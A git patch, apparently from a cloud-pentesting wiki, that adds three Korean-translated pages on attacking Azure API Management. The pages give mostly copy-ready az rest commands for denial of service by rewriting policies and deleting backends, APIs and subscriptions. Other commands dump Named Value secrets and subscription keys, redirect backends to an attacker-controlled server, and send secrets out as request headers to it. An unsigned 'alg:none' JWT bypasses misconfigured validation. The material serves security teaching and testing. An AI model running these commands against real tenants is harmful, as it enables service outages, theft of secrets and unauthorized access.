From 5bebf699f2c0d56398bf05b5fd0033f2a8e3cb72 Mon Sep 17 00:00:00 2001 From: Translator Date: Tue, 23 Dec 2025 16:36:30 +0000 Subject: [PATCH] Translated ['src/pentesting-cloud/azure-security/az-services/az-api-mana --- .../az-api-management-post-exploitation.md | 75 ++++++++ .../az-api-management-privesc.md | 170 ++++++++++++++++++ .../az-services/az-api-management.md | 76 ++++++++ 3 files changed, 321 insertions(+) create mode 100644 src/pentesting-cloud/azure-security/az-post-exploitation/az-api-management-post-exploitation.md create mode 100644 src/pentesting-cloud/azure-security/az-privilege-escalation/az-api-management-privesc.md create mode 100644 src/pentesting-cloud/azure-security/az-services/az-api-management.md diff --git a/src/pentesting-cloud/azure-security/az-post-exploitation/az-api-management-post-exploitation.md b/src/pentesting-cloud/azure-security/az-post-exploitation/az-api-management-post-exploitation.md new file mode 100644 index 000000000..6a920b7ad --- /dev/null +++ b/src/pentesting-cloud/azure-security/az-post-exploitation/az-api-management-post-exploitation.md @@ -0,0 +1,75 @@ +# Azure - API Management Post-Exploitation + +{{#include ../../../banners/hacktricks-training.md}} + +## `Microsoft.ApiManagement/service/apis/policies/write` or `Microsoft.ApiManagement/service/policies/write` +공격자는 여러 벡터를 이용해 denial of service를 일으킬 수 있다. 정상 트래픽을 차단하기 위해 공격자는 매우 낮은 값의 rate-limiting 및 quota 정책을 추가하여 정상적인 접근을 사실상 차단한다: +```bash +az rest --method PUT \ +--uri "https://management.azure.com/subscriptions//resourceGroups//providers/Microsoft.ApiManagement/service//apis//policies/policy?api-version=2024-05-01" \ +--headers "Content-Type=application/json" \ +--body '{ +"properties": { +"format": "rawxml", +"value": "" +} +}' +``` +특정 정상적인 클라이언트 IP를 차단하려면, 공격자는 선택한 주소의 요청을 거부하는 IP 필터링 정책을 추가할 수 있습니다: +```bash +az rest --method PUT \ +--uri "https://management.azure.com/subscriptions//resourceGroups//providers/Microsoft.ApiManagement/service//apis//policies/policy?api-version=2024-05-01" \ +--headers "Content-Type=application/json" \ +--body '{ +"properties": { +"format": "rawxml", +"value": "
1.2.3.4
1.2.3.5
" +} +}' +``` +## `Microsoft.ApiManagement/service/backends/write` 또는 `Microsoft.ApiManagement/service/backends/delete` +요청을 실패하게 만들기 위해 공격자는 backend 구성을 수정하여 URL을 잘못된 또는 도달할 수 없는 주소로 변경할 수 있습니다: +```bash +az rest --method PUT \ +--uri "https://management.azure.com/subscriptions//resourceGroups//providers/Microsoft.ApiManagement/service//backends/?api-version=2024-05-01" \ +--headers "Content-Type=application/json" "If-Match=*" \ +--body '{ +"properties": { +"url": "https://invalid-backend-that-does-not-exist.com", +"protocol": "http" +} +}' +``` +또는 백엔드를 삭제: +```bash +az rest --method DELETE \ +--uri "https://management.azure.com/subscriptions//resourceGroups//providers/Microsoft.ApiManagement/service//backends/?api-version=2024-05-01" \ +--headers "If-Match=*" +``` +## `Microsoft.ApiManagement/service/apis/delete` +중요한 API를 사용할 수 없게 만들기 위해, 공격자는 API Management service에서 이를 직접 삭제할 수 있습니다: +```bash +az rest --method DELETE \ +--uri "https://management.azure.com/subscriptions//resourceGroups//providers/Microsoft.ApiManagement/service//apis/?api-version=2024-05-01" \ +--headers "If-Match=*" +``` +## `Microsoft.ApiManagement/service/write` or `Microsoft.ApiManagement/service/applynetworkconfigurationupdates/action` +인터넷에서의 접근을 차단하려면, 공격자는 API Management service에 대한 public network access를 비활성화할 수 있습니다: +```bash +az rest --method PATCH \ +--uri "https://management.azure.com/subscriptions//resourceGroups//providers/Microsoft.ApiManagement/service/?api-version=2024-05-01" \ +--headers "Content-Type=application/json" \ +--body '{ +"properties": { +"publicNetworkAccess": "Disabled" +} +}' +``` +## `Microsoft.ApiManagement/service/subscriptions/delete` +정상 사용자 접근을 차단하려 공격자는 API Management 구독을 삭제할 수 있다: +```bash +az rest --method DELETE \ +--uri "https://management.azure.com/subscriptions//resourceGroups//providers/Microsoft.ApiManagement/service//subscriptions/?api-version=2024-05-01" \ +--headers "If-Match=*" +``` +{{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/azure-security/az-privilege-escalation/az-api-management-privesc.md b/src/pentesting-cloud/azure-security/az-privilege-escalation/az-api-management-privesc.md new file mode 100644 index 000000000..9b46fed7c --- /dev/null +++ b/src/pentesting-cloud/azure-security/az-privilege-escalation/az-api-management-privesc.md @@ -0,0 +1,170 @@ +# Az - API Management Privesc + +{{#include ../../../banners/hacktricks-training.md}} + +## `Microsoft.ApiManagement/service/namedValues/read` & `Microsoft.ApiManagement/service/namedValues/listValue/action` + +이 공격은 Azure API Management Named Values에 저장된 민감한 비밀에 접근하는 것으로, 비밀 값을 직접 조회하거나 권한을 악용해 managed identities를 통해 Key Vault–backed secrets를 획득하는 방식입니다. +```bash +az apim nv show-secret --resource-group --service-name --named-value-id +``` +## `Microsoft.ApiManagement/service/subscriptions/read` & `Microsoft.ApiManagement/service/subscriptions/listSecrets/action` +각 구독에 대해 공격자는 POST 메서드로 listSecrets 엔드포인트를 호출하여 구독 키를 얻을 수 있습니다: +```bash +az rest --method POST \ +--uri "https://management.azure.com/subscriptions//resourceGroups//providers/Microsoft.ApiManagement/service//subscriptions//listSecrets?api-version=2024-05-01" +``` +응답에는 구독의 primary key (primaryKey)와 secondary key (secondaryKey)가 포함되어 있습니다. 이 키들을 사용하면 공격자는 인증하여 API Management Gateway를 통해 게시된 API에 접근할 수 있습니다: +```bash +curl -H "Ocp-Apim-Subscription-Key: " \ +https://.azure-api.net/ +``` +공격자는 해당 구독과 연결된 모든 API 및 제품에 접근할 수 있습니다. 구독이 민감한 제품이나 API에 접근 권한을 가지고 있다면, 공격자는 기밀 정보를 얻거나 무단으로 작업을 수행할 수 있습니다. + +## `Microsoft.ApiManagement/service/policies/write` or `Microsoft.ApiManagement/service/apis/policies/write` + +공격자는 먼저 현재 API 정책을 조회합니다: +```bash +az rest --method GET \ +--uri "https://management.azure.com/subscriptions//resourceGroups//providers/Microsoft.ApiManagement/service//apis//policies/?api-version=2024-05-01&format=rawxml" +``` +공격자는 목표에 따라 정책을 여러 가지 방식으로 수정할 수 있습니다. 예를 들어 authentication을 비활성화하려면, 정책에 JWT token validation이 포함되어 있는 경우 공격자는 해당 섹션을 제거하거나 주석 처리할 수 있습니다: +```xml + + + + + + + + + + + + + + + + +``` +rate limiting 제어를 제거하여 denial-of-service 공격을 허용하려면, 공격자는 quota 및 rate-limit 정책을 제거하거나 주석 처리할 수 있습니다: +```xml + + + + + + +... + +``` +백엔드 경로를 수정하여 트래픽을 공격자가 제어하는 서버로 리디렉션하려면: +```xml + +... + + + + +... + +``` +그런 다음 attacker는 수정된 정책을 적용합니다. 요청 본문은 정책을 XML 형식으로 포함하는 JSON 객체여야 합니다: +```bash +az rest --method PUT \ +--uri "https://management.azure.com/subscriptions//resourceGroups//providers/Microsoft.ApiManagement/service//apis//policies/policy?api-version=2024-05-01" \ +--headers "Content-Type=application/json" \ +--body '{ +"properties": { +"format": "rawxml", +"value": "" +} +}' +``` +## JWT 검증 구성 오류 + +공격자는 API가 JWT 토큰 검증을 사용하고 정책이 잘못 구성되어 있다는 것을 알아야 합니다. 잘못 구성된 JWT 검증 정책은 `require-signed-tokens="false"` 또는 `require-expiration-time="false"`를 포함할 수 있으며, 이는 서비스가 서명되지 않은 토큰이나 만료되지 않는 토큰을 수락하도록 허용합니다. + +공격자는 none 알고리즘(서명되지 않음)을 사용하여 악성 JWT 토큰을 생성합니다: +``` +# Header: {"alg":"none"} +# Payload: {"sub":"user"} +eyJhbGciOiJub25lIn0.eyJzdWIiOiJ1c2VyIn0. +``` +공격자는 악성 token을 사용하여 API에 요청을 보냅니다: +```bash +curl -X GET \ +-H "Authorization: Bearer eyJhbGciOiJub25lIn0.eyJzdWIiOiJ1c2VyIn0." \ +https://.azure-api.net/path +``` +정책이 `require-signed-tokens="false"`로 잘못 구성되어 있으면, 서비스는 서명되지 않은 token을 허용합니다. 공격자는 또한 `require-expiration-time="false"`인 경우 만료 claim 없이 token을 생성할 수 있습니다. + +## `Microsoft.ApiManagement/service/applynetworkconfigurationupdates/action` +공격자는 먼저 서비스의 현재 네트워크 구성을 확인합니다: +```bash +az rest --method GET \ +--uri "https://management.azure.com/subscriptions//resourceGroups//providers/Microsoft.ApiManagement/service/?api-version=2024-05-01" +``` +공격자는 JSON 응답을 검토하여 `publicNetworkAccess` 및 `virtualNetworkType` 값들을 확인한다. `publicNetworkAccess`가 false로 설정되어 있거나 `virtualNetworkType`이 Internal로 설정되어 있으면 서비스는 private access로 구성되어 있다. + +서비스를 인터넷에 노출하려면 공격자는 두 설정을 모두 변경해야 한다. 서비스가 internal 모드로 실행 중이라면 (`virtualNetworkType: "Internal"`), 공격자는 이를 None 또는 External로 변경하고 public network access를 활성화한다. 이는 Azure Management API를 사용하여 수행할 수 있다: +```bash +az rest --method PATCH \ +--uri "https://management.azure.com/subscriptions//resourceGroups//providers/Microsoft.ApiManagement/service/?api-version=2024-05-01" \ +--headers "Content-Type=application/json" \ +--body '{ +"properties": { +"publicNetworkAccess": "Enabled", +"virtualNetworkType": "None" +} +}' +``` +한번 `virtualNetworkType`가 `None` 또는 `External`로 설정되고 `publicNetworkAccess`가 활성화되면, 서비스와 모든 API는 인터넷에서 접근 가능해집니다. 이는 이전에 사설 네트워크나 프라이빗 엔드포인트 뒤에 보호되어 있더라도 마찬가지입니다. + +## `Microsoft.ApiManagement/service/backends/write` +공격자는 먼저 수정할 대상을 식별하기 위해 기존 백엔드를 열거합니다: +```bash +az rest --method GET \ +--uri "https://management.azure.com/subscriptions//resourceGroups//providers/Microsoft.ApiManagement/service//backends?api-version=2024-05-01" +``` +공격자는 수정하려는 백엔드의 현재 구성을 조회한다: +```bash +az rest --method GET \ +--uri "https://management.azure.com/subscriptions//resourceGroups//providers/Microsoft.ApiManagement/service//backends/?api-version=2024-05-01" +``` +공격자는 백엔드 URL을 자신이 제어하는 서버를 가리키도록 수정합니다. 먼저 이전 응답에서 ETag를 얻은 다음 백엔드를 업데이트합니다: +```bash +az rest --method PUT \ +--uri "https://management.azure.com/subscriptions//resourceGroups//providers/Microsoft.ApiManagement/service//backends/?api-version=2024-05-01" \ +--headers "Content-Type=application/json" "If-Match=*" \ +--body '{ +"properties": { +"url": "https://attacker-controlled-server.com", +"protocol": "http", +"description": "Backend modified by attacker" +} +}' +``` +또는 공격자는 backend headers를 구성하여 비밀을 포함한 Named Values를 exfiltrate할 수 있습니다. 이는 backend credentials configuration을 통해 수행됩니다: +```bash +az rest --method PUT \ +--uri "https://management.azure.com/subscriptions//resourceGroups//providers/Microsoft.ApiManagement/service//backends/?api-version=2024-05-01" \ +--headers "Content-Type=application/json" "If-Match=*" \ +--body '{ +"properties": { +"url": "https://attacker-controlled-server.com", +"protocol": "http", +"credentials": { +"header": { +"X-Secret-Value": ["{{named-value-secret}}"] +} +} +} +}' +``` +이 구성에서는 Named Values가 모든 요청에서 공격자가 제어하는 백엔드로 헤더로 전송되어 민감한 시크릿의 유출을 가능하게 합니다. + +{{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/azure-security/az-services/az-api-management.md b/src/pentesting-cloud/azure-security/az-services/az-api-management.md new file mode 100644 index 000000000..84d858274 --- /dev/null +++ b/src/pentesting-cloud/azure-security/az-services/az-api-management.md @@ -0,0 +1,76 @@ +# Az - API Management + +{{#include ../../../banners/hacktricks-training.md}} + +## Basic Information + +Azure API Management (APIM)은 **API를 게시, 보호, 변환, 관리 및 모니터링하기 위한 통합 플랫폼**을 제공하는 완전관리형 서비스입니다. 조직이 **API 전략을 중앙화**하고 모든 서비스 전반에서 일관된 거버넌스, 성능 및 보안을 보장할 수 있도록 합니다. 백엔드 서비스와 API 소비자 간의 추상화 계층으로 작동함으로써 APIM은 통합을 단순화하고 유지보수를 용이하게 하며 필수 운영 및 보안 기능을 제공합니다. + +## Core Concepts + +**The API Gateway**는 모든 API 트래픽의 단일 진입점 역할을 하며, 요청을 백엔드 서비스로 라우팅하고, 속도 제한을 적용하고, 응답을 캐싱하며, 인증 및 권한 부여를 관리하는 등의 기능을 처리합니다. 이 게이트웨이는 Azure에서 완전히 호스팅되고 관리되어 높은 가용성과 확장성을 보장합니다. + +**The Developer Portal**은 API 소비자가 사용 가능한 API를 검색하고 문서를 읽으며 엔드포인트를 테스트할 수 있는 셀프서비스 환경을 제공합니다. 인터랙티브 도구와 구독 정보에 대한 접근을 제공함으로써 온보딩을 간소화합니다. + +**The Management Portal (Management Plane)**은 관리자가 APIM 서비스를 구성하고 유지하는 데 사용하는 포털입니다. 여기에서 사용자는 API 및 작업을 정의하고, 액세스 제어를 구성하고, 정책을 적용하고, 사용자를 관리하며, API를 제품으로 구성할 수 있습니다. 이 포털은 관리를 중앙화하고 일관된 API 거버넌스를 보장합니다. + + +## Authentication and Authorization + +Azure API Management는 API 접근을 보호하기 위해 여러 **인증 메커니즘**을 지원합니다. 여기에는 **subscription keys**, **OAuth 2.0 tokens**, 및 **client certificates**가 포함됩니다. APIM은 또한 **Microsoft Entra ID**와 네이티브 통합을 제공하여 **기업 수준의 ID 관리**와 API 및 백엔드 서비스에 대한 **보안 접근**을 가능하게 합니다. + +## Policies + +APIM의 정책은 관리자에게 **요청 및 응답 처리**를 서비스, API, operation 또는 product 수준 등 다양한 세분화에서 사용자화할 수 있는 기능을 제공합니다. 정책을 통해 **JWT 토큰 검증**을 적용하거나, **XML 또는 JSON 페이로드 변환**, **속도 제한 적용**, **IP 주소별 호출 제한**, 또는 **managed identities를 사용한 백엔드 인증**을 수행할 수 있습니다. 정책은 **매우 유연**하며 API Management 플랫폼의 **핵심 강점** 중 하나로, 백엔드 코드를 수정하지 않고도 런타임 동작을 **세밀하게 제어**할 수 있게 합니다. + +## Named Values + +서비스는 **Named Values**라는 메커니즘을 제공하여 **비밀**, **API 키** 또는 정책에서 필요한 기타 값을 포함한 **구성 정보**를 저장할 수 있습니다. + +이 값들은 APIM 내에 직접 저장하거나 **Azure Key Vault**에서 안전하게 참조할 수 있습니다. Named Values는 구성 데이터를 **안전하고 중앙화된 방식**으로 관리하도록 돕고, 하드코딩된 값 대신 **재사용 가능한 참조**를 허용하여 정책 작성을 단순화합니다. + +## Networking and Security Integration + +Azure API Management는 **virtual network environments**와 원활하게 통합되어 백엔드 시스템에 대한 **프라이빗하고 안전한 연결**을 가능하게 합니다. + +**Virtual Network (VNet)** 내부에 배포될 경우, APIM은 내부 서비스를 공개적으로 노출하지 않고 액세스할 수 있습니다. 서비스는 또한 백엔드 서비스와의 **mutual TLS authentication**을 지원하기 위한 **custom certificates** 구성도 허용하여, **강력한 신원 검증**이 필요한 시나리오에서 보안을 향상시킵니다. + +이러한 **네트워킹 기능**은 APIM을 **클라우드 네이티브 및 하이브리드 아키텍처** 모두에 적합하게 만듭니다. + + +### Enumerate + +API management 서비스를 열거하려면: +```bash +# Lists all Named Values configured in the Azure API Management instance +az apim nv list --resource-group --service-name + +# Retrieves all policies applied at the API level in raw XML format +az rest --method GET \ +--uri "https://management.azure.com/subscriptions//resourceGroups//providers/Microsoft.ApiManagement/service//apis//policies/?api-version=2024-05-01&format=rawxml" + +# Retrieves the effective policy for a specific API in raw XML format +az rest --method GET \ +--uri "https://management.azure.com/subscriptions//resourceGroups//providers/Microsoft.ApiManagement/service//apis//policies/policy?api-version=2024-05-01&format=rawxml" + +# Gets the configuration details of the APIM service instance +az rest --method GET \ +--uri "https://management.azure.com/subscriptions//resourceGroups//providers/Microsoft.ApiManagement/service/?api-version=2024-05-01" + +# Lists all backend services registered in the APIM instance +az rest --method GET \ +--uri "https://management.azure.com/subscriptions//resourceGroups//providers/Microsoft.ApiManagement/service//backends?api-version=2024-05-01" + +# Retrieves details of a specific backend service +az rest --method GET \ +--uri "https://management.azure.com/subscriptions//resourceGroups//providers/Microsoft.ApiManagement/service//backends/?api-version=2024-05-01" + +# Gets general information about the APIM service +az rest --method GET \ +--uri "https://management.azure.com/subscriptions//resourceGroups//providers/Microsoft.ApiManagement/service/?api-version=2024-05-01" + +# Calls an exposed API endpoint through the APIM gateway +curl https://.azure-api.net/ + +``` +{{#include ../../../banners/hacktricks-training.md}}